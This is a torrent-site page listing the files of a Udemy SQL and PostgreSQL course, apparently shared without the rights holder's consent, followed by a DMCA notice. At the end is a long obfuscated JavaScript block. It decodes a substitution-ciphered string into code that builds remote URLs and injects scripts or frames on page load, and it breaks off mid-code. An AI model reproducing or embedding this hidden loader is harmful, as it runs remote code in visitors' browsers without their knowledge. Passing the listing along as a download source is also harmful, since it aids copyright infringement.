    32 - Schema vs Data Migrations/246 - Adding the Loc Column English.srt 6.07 KB
    32 - Schema vs Data Migrations/246 - Adding the Loc Column.mp4 21.55 MB
    32 - Schema vs Data Migrations/247 - Writing Values to Both Columns English.srt 6.49 KB
    32 - Schema vs Data Migrations/247 - Writing Values to Both Columns.mp4 16.26 MB
    32 - Schema vs Data Migrations/248 - Transaction Locks English.srt 22.3 KB
    32 - Schema vs Data Migrations/248 - Transaction Locks.mp4 96.42 MB
    32 - Schema vs Data Migrations/249 - Updating Values English.srt 6.46 KB
    32 - Schema vs Data Migrations/249 - Updating Values.mp4 15.27 MB
    32 - Schema vs Data Migrations/250 - 01-lng-lat-to-loc.js 364 B
    32 - Schema vs Data Migrations/250 - Migrations Setup Instructions.html 925 B
    32 - Schema vs Data Migrations/251 - Updating the App Server English.srt 6.61 KB
    32 - Schema vs Data Migrations/251 - Updating the App Server.mp4 13.23 MB
    32 - Schema vs Data Migrations/252 - Dropping the Last Columns English.srt 4.82 KB
    32 - Schema vs Data Migrations/252 - Dropping the Last Columns.mp4 11.61 MB
    33 - Accessing PostgreSQL From APIs/253 - Section Goal English.srt 1.52 KB
    33 - Accessing PostgreSQL From APIs/253 - Section Goal.mp4 2.62 MB
    33 - Accessing PostgreSQL From APIs/254 - Initial Setup English.srt 2.53 KB
    33 - Accessing PostgreSQL From APIs/254 - Initial Setup.mp4 2.23 MB
    33 - Accessing PostgreSQL From APIs/255 - One Fast Migration English.srt 7.32 KB
    33 - Accessing PostgreSQL From APIs/255 - One Fast Migration.mp4 24.43 MB
    33 - Accessing PostgreSQL From APIs/256 - 005-access-social-repo.zip 61.31 KB
    33 - Accessing PostgreSQL From APIs/256 - Building the Users Router English.srt 6.79 KB
    33 - Accessing PostgreSQL From APIs/256 - Building the Users Router.mp4 29.61 MB
    33 - Accessing PostgreSQL From APIs/257 - Understanding Connection Pools English.srt 10.63 KB
    33 - Accessing PostgreSQL From APIs/257 - Understanding Connection Pools.mp4 22.93 MB
    33 - Accessing PostgreSQL From APIs/258 - Validating Connection Credentials English.srt 10.64 KB
    33 - Accessing PostgreSQL From APIs/258 - Validating Connection Credentials.mp4 44.74 MB
    33 - Accessing PostgreSQL From APIs/259 - 008-access.zip 62 KB
    33 - Accessing PostgreSQL From APIs/259 - Query and Close English.srt 3.12 KB
    33 - Accessing PostgreSQL From APIs/259 - Query and Close.mp4 5.9 MB
    34 - Data Access Pattern Repositories/260 - The Repository Pattern English.srt 5.69 KB
    34 - Data Access Pattern Repositories/260 - The Repository Pattern.mp4 17.88 MB
    34 - Data Access Pattern Repositories/261 - 010-access.zip 62.58 KB
    34 - Data Access Pattern Repositories/261 - Creating a Repository English.srt 12.67 KB
    34 - Data Access Pattern Repositories/261 - Creating a Repository.mp4 24.78 MB
    34 - Data Access Pattern Repositories/262 - Accessing the API English.srt 6.43 KB
    34 - Data Access Pattern Repositories/262 - Accessing the API.mp4 23.55 MB
    34 - Data Access Pattern Repositories/263 - Casing Issues English.srt 7.05 KB
    34 - Data Access Pattern Repositories/263 - Casing Issues.mp4 18.55 MB
    34 - Data Access Pattern Repositories/264 - Fixing Casing English.srt 9.58 KB
    34 - Data Access Pattern Repositories/264 - Fixing Casing.mp4 49.74 MB
    34 - Data Access Pattern Repositories/265 - Finding Particular Users English.srt 8.2 KB
    34 - Data Access Pattern Repositories/265 - Finding Particular Users.mp4 18.16 MB
    35 - Security Around PostgreSQL/266 - SQL Injection Exploits English.srt 10.83 KB
    35 - Security Around PostgreSQL/266 - SQL Injection Exploits.mp4 30.46 MB
    35 - Security Around PostgreSQL/267 - Handling SQL Injection with Prepared Statements English.srt 12.81 KB
    35 - Security Around PostgreSQL/267 - Handling SQL Injection with Prepared Statements.mp4 38.15 MB
    35 - Security Around PostgreSQL/268 - Preventing SQL Injection English.srt 11.6 KB
    35 - Security Around PostgreSQL/268 - Preventing SQL Injection.mp4 34.29 MB
    35 - Security Around PostgreSQL/269 - Reminder on Post Requests English.srt 4.18 KB
    35 - Security Around PostgreSQL/269 - Reminder on Post Requests.mp4 14.4 MB
    35 - Security Around PostgreSQL/270 - 019-access.zip 63.56 KB
    35 - Security Around PostgreSQL/270 - Inserting Users English.srt 6.29 KB
    35 - Security Around PostgreSQL/270 - Inserting Users.mp4 15.25 MB
    35 - Security Around PostgreSQL/271 - Handling Updates English.srt 6.82 KB
    35 - Security Around PostgreSQL/271 - Handling Updates.mp4 16.66 MB
    35 - Security Around PostgreSQL/272 - 021-access.zip 63.66 KB
    35 - Security Around PostgreSQL/272 - And Finally Delete English.srt 6.32 KB
    35 - Security Around PostgreSQL/272 - And Finally Delete.mp4 18.24 MB
    36 - Fast Parallel Testing/273 - A Note on Testing English.srt 4.97 KB
    36 - Fast Parallel Testing/273 - A Note on Testing.mp4 7.64 MB
    36 - Fast Parallel Testing/274 - Assertions Around User Count English.srt 10.62 KB
    36 - Fast Parallel Testing/274 - Assertions Around User Count.mp4 42.34 MB
    36 - Fast Parallel Testing/275 - 024-access.zip 64.5 KB
    36 - Fast Parallel Testing/275 - Connecting to a DB For Tests English.srt 8.21 KB
    36 - Fast Parallel Testing/275 - Connecting to a DB For Tests.mp4 54.23 MB
    36 - Fast Parallel Testing/276 - 025-access.zip 64.51 KB
    36 - Fast Parallel Testing/276 - Disconnecting After Tests English.srt 4.6 KB
    36 - Fast Parallel Testing/276 - Disconnecting After Tests.mp4 12.86 MB
    36 - Fast Parallel Testing/277 - 026-access.zip 64.52 KB
    36 - Fast Parallel Testing/277 - MultiDB Setup English.srt 7.52 KB
    36 - Fast Parallel Testing/277 - MultiDB Setup.mp4 21.85 MB
    36 - Fast Parallel Testing/278 - 027-access.zip 64.52 KB
    36 - Fast Parallel Testing/278 - Assumptions Around Content English.srt 8.25 KB
    36 - Fast Parallel Testing/278 - Assumptions Around Content.mp4 33.12 MB
    36 - Fast Parallel Testing/279 - 028-access.zip 65.77 KB
    36 - Fast Parallel Testing/279 - Issues with Parallel Tests English.srt 7.96 KB
    36 - Fast Parallel Testing/279 - Issues with Parallel Tests.mp4 35.76 MB
    36 - Fast Parallel Testing/280 - Isolation with Schemas English.srt 6.57 KB
    36 - Fast Parallel Testing/280 - Isolation with Schemas.mp4 27.4 MB
    36 - Fast Parallel Testing/281 - Creating and Accessing Schemas English.srt 8.04 KB
    36 - Fast Parallel Testing/281 - Creating and Accessing Schemas.mp4 19.38 MB
    36 - Fast Parallel Testing/282 - Controlling Schema Access with Search Paths English.srt 8.78 KB
    36 - Fast Parallel Testing/282 - Controlling Schema Access with Search Paths.mp4 30.95 MB
    36 - Fast Parallel Testing/283 - Routing Schema Access English.srt 6.61 KB
    36 - Fast Parallel Testing/283 - Routing Schema Access.mp4 41.12 MB
    36 - Fast Parallel Testing/284 - Strategy for Isolation English.srt 7.2 KB
    36 - Fast Parallel Testing/284 - Strategy for Isolation.mp4 17.57 MB
    36 - Fast Parallel Testing/285 - 034-access.zip 66.14 KB
    36 - Fast Parallel Testing/285 - Programmatic Schema Creation English.srt 18.23 KB
    36 - Fast Parallel Testing/285 - Programmatic Schema Creation.mp4 65.75 MB
    36 - Fast Parallel Testing/286 - 035-access.zip 66.14 KB
    36 - Fast Parallel Testing/286 - Escaping Identifiers English.srt 6.42 KB
    36 - Fast Parallel Testing/286 - Escaping Identifiers.mp4 25.53 MB
    36 - Fast Parallel Testing/287 - 036-access.zip 66.48 KB
    36 - Fast Parallel Testing/287 - Test Helpers English.srt 7.97 KB
    36 - Fast Parallel Testing/287 - Test Helpers.mp4 43.34 MB
    36 - Fast Parallel Testing/288 - 037-access.zip 66.59 KB
    36 - Fast Parallel Testing/288 - Cleaning up Schemas and Roles English.srt 8.2 KB
    36 - Fast Parallel Testing/288 - Cleaning up Schemas and Roles.mp4 31.28 MB
    36 - Fast Parallel Testing/289 - Finally Parallel Tests Final Lecture English.srt 5.3 KB
    36 - Fast Parallel Testing/289 - Finally Parallel Tests Final Lecture.mp4 18.57 MB
    37 - Bonus/290 - Bonus.html 3.39 KB
    4 - Relating Records with Joins/43 - Adding Some Data.html 7.66 KB
    4 - Relating Records with Joins/44 - Queries with Joins and Aggregations English.srt 5.2 KB
    4 - Relating Records with Joins/44 - Queries with Joins and Aggregations.mp4 27.86 MB
    4 - Relating Records with Joins/45 - Joining Data from Different Tables English.srt 11.85 KB
    4 - Relating Records with Joins/45 - Joining Data from Different Tables.mp4 36.8 MB
    4 - Relating Records with Joins/46 - Another Quick Join English.srt 3.24 KB
    4 - Relating Records with Joins/46 - Another Quick Join.mp4 8.62 MB
    4 - Relating Records with Joins/47 - Exercise Overview English.srt 1.79 KB
    4 - Relating Records with Joins/47 - Exercise Overview.mp4 4.85 MB
    4 - Relating Records with Joins/48 - A Joinful Solution English.srt 2.57 KB
    4 - Relating Records with Joins/48 - A Joinful Solution.mp4 5.27 MB
    4 - Relating Records with Joins/49 - Alternate Forms of Syntax English.srt 9.37 KB
    4 - Relating Records with Joins/49 - Alternate Forms of Syntax.mp4 24.96 MB
    4 - Relating Records with Joins/50 - 007-joins-cumulative.sql 7.54 KB
    4 - Relating Records with Joins/50 - Missing Data in Joins English.srt 9.82 KB
    4 - Relating Records with Joins/50 - Missing Data in Joins.mp4 29.27 MB
    4 - Relating Records with Joins/51 - Why Wasnt It Included English.srt 3.79 KB
    4 - Relating Records with Joins/51 - Why Wasnt It Included.mp4 24.58 MB
    4 - Relating Records with Joins/52 - 009-joins-cheatsheet.pdf 190.52 KB
    4 - Relating Records with Joins/52 - Four Kinds of Joins English.srt 14.83 KB
    4 - Relating Records with Joins/52 - Four Kinds of Joins.mp4 124.86 MB
    4 - Relating Records with Joins/53 - 010-sql-cumulative.sql 7.59 KB
    4 - Relating Records with Joins/53 - Each Join in Practice English.srt 6.3 KB
    4 - Relating Records with Joins/53 - Each Join in Practice.mp4 40.6 MB
    4 - Relating Records with Joins/54 - Does Order Matter English.srt 6.44 KB
    4 - Relating Records with Joins/54 - Does Order Matter.mp4 61.33 MB
    4 - Relating Records with Joins/55 - Exercise Overview English.srt 1.47 KB
    4 - Relating Records with Joins/55 - Exercise Overview.mp4 2.23 MB
    4 - Relating Records with Joins/56 - Two Possible Solutions English.srt 4.75 KB
    4 - Relating Records with Joins/56 - Two Possible Solutions.mp4 16.51 MB
    4 - Relating Records with Joins/57 - Where with Join English.srt 10.33 KB
    4 - Relating Records with Joins/57 - Where with Join.mp4 31.03 MB
    4 - Relating Records with Joins/58 - Three Way Joins English.srt 12.24 KB
    4 - Relating Records with Joins/58 - Three Way Joins.mp4 49.71 MB
    4 - Relating Records with Joins/59 - A Bit of Practice English.srt 7.7 KB
    4 - Relating Records with Joins/59 - A Bit of Practice.mp4 17.87 MB
    4 - Relating Records with Joins/60 - Exercise Solution English.srt 4 KB
    4 - Relating Records with Joins/60 - Exercise Solution.mp4 7.67 MB
    5 - Aggregation of Records/61 - Aggregating and Grouping English.srt 3.56 KB
    5 - Aggregation of Records/61 - Aggregating and Grouping.mp4 7.9 MB
    5 - Aggregation of Records/62 - Picturing Group By English.srt 8.29 KB
    5 - Aggregation of Records/62 - Picturing Group By.mp4 29.43 MB
    5 - Aggregation of Records/63 - Aggregate Functions English.srt 4.54 KB
    5 - Aggregation of Records/63 - Aggregate Functions.mp4 11.58 MB
    5 - Aggregation of Records/64 - Combining Group By and Aggregates English.srt 7.24 KB
    5 - Aggregation of Records/64 - Combining Group By and Aggregates.mp4 15.13 MB
    5 - Aggregation of Records/65 - A Gotcha with Count English.srt 4.17 KB
    5 - Aggregation of Records/65 - A Gotcha with Count.mp4 5.46 MB
    5 - Aggregation of Records/66 - Visualizing More Grouping English.srt 4.6 KB
    5 - Aggregation of Records/66 - Visualizing More Grouping.mp4 9.72 MB
    5 - Aggregation of Records/67 - Exercise Overview English.srt 1.15 KB
    5 - Aggregation of Records/67 - Exercise Overview.mp4 1.66 MB
    5 - Aggregation of Records/68 - Grouping Solution English.srt 2.17 KB
    5 - Aggregation of Records/68 - Grouping Solution.mp4 3.15 MB
    5 - Aggregation of Records/69 - Adding a Layer of Difficulty English.srt 1.11 KB
    5 - Aggregation of Records/69 - Adding a Layer of Difficulty.mp4 1.79 MB
    5 - Aggregation of Records/70 - Solution English.srt 2.2 KB
    5 - Aggregation of Records/70 - Solution.mp4 3.68 MB
    5 - Aggregation of Records/71 - Filtering Groups with Having English.srt 7.76 KB
    5 - Aggregation of Records/71 - Filtering Groups with Having.mp4 36.97 MB
    5 - Aggregation of Records/72 - Having In Action English.srt 3.98 KB
    5 - Aggregation of Records/72 - Having In Action.mp4 6.86 MB
    5 - Aggregation of Records/73 - More on Having English.srt 10.49 KB
    5 - Aggregation of Records/73 - More on Having.mp4 28.46 MB
    5 - Aggregation of Records/74 - A Having Exercise Overview English.srt 5.51 KB
    5 - Aggregation of Records/74 - A Having Exercise Overview.mp4 12.79 MB
    5 - Aggregation of Records/75 - A Quick Solution English.srt 3.8 KB
    5 - Aggregation of Records/75 - A Quick Solution.mp4 7.3 MB
    6 - Working with Large Datasets/76 - A New Dataset.html 17.84 KB
    6 - Working with Large Datasets/77 - 001-sq-data.sql 15.82 KB
    6 - Working with Large Datasets/77 - Investigating This Dataset English.srt 4.11 KB
    6 - Working with Large Datasets/77 - Investigating This Dataset.mp4 8 MB
    6 - Working with Large Datasets/78 - Some Group By Practice English.srt 2.03 KB
    6 - Working with Large Datasets/78 - Some Group By Practice.mp4 3.1 MB
    6 - Working with Large Datasets/79 - Group By Review Solution English.srt 3.53 KB
    6 - Working with Large Datasets/79 - Group By Review Solution.mp4 7.92 MB
    6 - Working with Large Datasets/80 - Remember Joins English.srt 3.56 KB
    6 - Working with Large Datasets/80 - Remember Joins.mp4 9.3 MB
    6 - Working with Large Datasets/81 - Of Course You Remember English.srt 2.12 KB
    6 - Working with Large Datasets/81 - Of Course You Remember.mp4 4.42 MB
    6 - Working with Large Datasets/[CourseClub.Me].url 122 B
    6 - Working with Large Datasets/[GigaCourse.Com].url 49 B
    7 - Sorting Records/82 - The Basics of Sorting English.srt 3.61 KB
    7 - Sorting Records/82 - The Basics of Sorting.mp4 6.73 MB
    7 - Sorting Records/83 - Two Variations on Sorting English.srt 4.14 KB
    7 - Sorting Records/83 - Two Variations on Sorting.mp4 9.46 MB
    7 - Sorting Records/84 - Offset and Limit English.srt 10.47 KB
    7 - Sorting Records/84 - Offset and Limit.mp4 19.43 MB
    7 - Sorting Records/85 - Exercise Overview English.srt 716 B
    7 - Sorting Records/85 - Exercise Overview.mp4 1.08 MB
    7 - Sorting Records/86 - Exercise Solution English.srt 2.06 KB
    7 - Sorting Records/86 - Exercise Solution.mp4 3.33 MB
    8 - Unions and Intersections with Sets/87 - Handling Sets with Union English.srt 8.78 KB
    8 - Unions and Intersections with Sets/87 - Handling Sets with Union.mp4 19.51 MB
    8 - Unions and Intersections with Sets/88 - A Few Notes on Union English.srt 5.69 KB
    8 - Unions and Intersections with Sets/88 - A Few Notes on Union.mp4 16.54 MB
    8 - Unions and Intersections with Sets/89 - Commonalities with Intersect English.srt 5.05 KB
    8 - Unions and Intersections with Sets/89 - Commonalities with Intersect.mp4 15.42 MB
    8 - Unions and Intersections with Sets/90 - Removing Commonalities with Except English.srt 9.49 KB
    8 - Unions and Intersections with Sets/90 - Removing Commonalities with Except.mp4 20.44 MB
    8 - Unions and Intersections with Sets/91 - Union Exercise Overview English.srt 2.25 KB
    8 - Unions and Intersections with Sets/91 - Union Exercise Overview.mp4 4.23 MB
    8 - Unions and Intersections with Sets/92 - Exercise Solution English.srt 2.08 KB
    8 - Unions and Intersections with Sets/92 - Exercise Solution.mp4 4.72 MB
    9 - Assembling Queries with SubQueries/100 - Example of a Subquery in a From English.srt 13.74 KB
    9 - Assembling Queries with SubQueries/100 - Example of a Subquery in a From.mp4 53.51 MB
    9 - Assembling Queries with SubQueries/101 - Exercise Overview English.srt 1.87 KB
    9 - Assembling Queries with SubQueries/101 - Exercise Overview.mp4 3.4 MB
    9 - Assembling Queries with SubQueries/102 - Exercise Solution English.srt 2.86 KB
    9 - Assembling Queries with SubQueries/102 - Exercise Solution.mp4 10.37 MB
    9 - Assembling Queries with SubQueries/103 - Subqueries in a Join Clause English.srt 6.84 KB
    9 - Assembling Queries with SubQueries/103 - Subqueries in a Join Clause.mp4 16.55 MB
    9 - Assembling Queries with SubQueries/104 - More Useful Subqueries with Where English.srt 13.7 KB
    9 - Assembling Queries with SubQueries/104 - More Useful Subqueries with Where.mp4 36.66 MB
    9 - Assembling Queries with SubQueries/105 - Data Structure with Where Subqueries English.srt 8.97 KB
    9 - Assembling Queries with SubQueries/105 - Data Structure with Where Subqueries.mp4 44.04 MB
    9 - Assembling Queries with SubQueries/106 - Exercise Overview English.srt 1.58 KB
    9 - Assembling Queries with SubQueries/106 - Exercise Overview.mp4 2.71 MB
    9 - Assembling Queries with SubQueries/107 - Exercise Solution English.srt 3.11 KB
    9 - Assembling Queries with SubQueries/107 - Exercise Solution.mp4 6.25 MB
    9 - Assembling Queries with SubQueries/108 - The Not In Operator with a List English.srt 6.46 KB
    9 - Assembling Queries with SubQueries/108 - The Not In Operator with a List.mp4 38.59 MB
    9 - Assembling Queries with SubQueries/109 - A New Where Operator English.srt 9.69 KB
    9 - Assembling Queries with SubQueries/109 - A New Where Operator.mp4 38.71 MB
    9 - Assembling Queries with SubQueries/110 - Finally Some English.srt 8.28 KB
    9 - Assembling Queries with SubQueries/110 - Finally Some.mp4 31.96 MB
    9 - Assembling Queries with SubQueries/111 - Exercise Overview English.srt 767 B
    9 - Assembling Queries with SubQueries/111 - Exercise Overview.mp4 1.23 MB
    9 - Assembling Queries with SubQueries/112 - A Quick Solution English.srt 2.47 KB
    9 - Assembling Queries with SubQueries/112 - A Quick Solution.mp4 4.37 MB
    9 - Assembling Queries with SubQueries/113 - Probably Too Much About Correlated Subqueries English.srt 25.29 KB
    9 - Assembling Queries with SubQueries/113 - Probably Too Much About Correlated Subqueries.mp4 107 MB
    9 - Assembling Queries with SubQueries/114 - More on Correlated Subqueries English.srt 13.13 KB
    9 - Assembling Queries with SubQueries/114 - More on Correlated Subqueries.mp4 44.16 MB
    9 - Assembling Queries with SubQueries/115 - A Select Without a From English.srt 5.33 KB
    9 - Assembling Queries with SubQueries/115 - A Select Without a From.mp4 9.09 MB
    9 - Assembling Queries with SubQueries/116 - Exercise Overview English.srt 1.22 KB
    9 - Assembling Queries with SubQueries/116 - Exercise Overview.mp4 1.95 MB
    9 - Assembling Queries with SubQueries/117 - Exercise Solution English.srt 1.76 KB
    9 - Assembling Queries with SubQueries/117 - Exercise Solution.mp4 3.57 MB
    9 - Assembling Queries with SubQueries/93 - Whats a Subquery English.srt 8.9 KB
    9 - Assembling Queries with SubQueries/93 - Whats a Subquery.mp4 30.54 MB
    9 - Assembling Queries with SubQueries/94 - Thinking About the Structure of Data English.srt 7.58 KB
    9 - Assembling Queries with SubQueries/94 - Thinking About the Structure of Data.mp4 23.64 MB
    9 - Assembling Queries with SubQueries/95 - Subqueries in a Select English.srt 8.53 KB
    9 - Assembling Queries with SubQueries/95 - Subqueries in a Select.mp4 22.54 MB
    9 - Assembling Queries with SubQueries/96 - Exercise Overview English.srt 1.74 KB
    9 - Assembling Queries with SubQueries/96 - Exercise Overview.mp4 3.05 MB
    9 - Assembling Queries with SubQueries/97 - Select Solution English.srt 1.82 KB
    9 - Assembling Queries with SubQueries/97 - Select Solution.mp4 3.8 MB
    9 - Assembling Queries with SubQueries/98 - Subqueries in a From English.srt 12.01 KB
    9 - Assembling Queries with SubQueries/98 - Subqueries in a From.mp4 44.45 MB
    9 - Assembling Queries with SubQueries/99 - From Subqueries that Return a Value English.srt 4.34 KB
    9 - Assembling Queries with SubQueries/99 - From Subqueries that Return a Value.mp4 9.08 MB
    [CourseClub.Me].url 122 B
    [GigaCourse.Com].url 49 B

Download Info

  • Tips

    “[GigaCourse.Com] Udemy - SQL and PostgreSQL The Complete Developers Guide” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 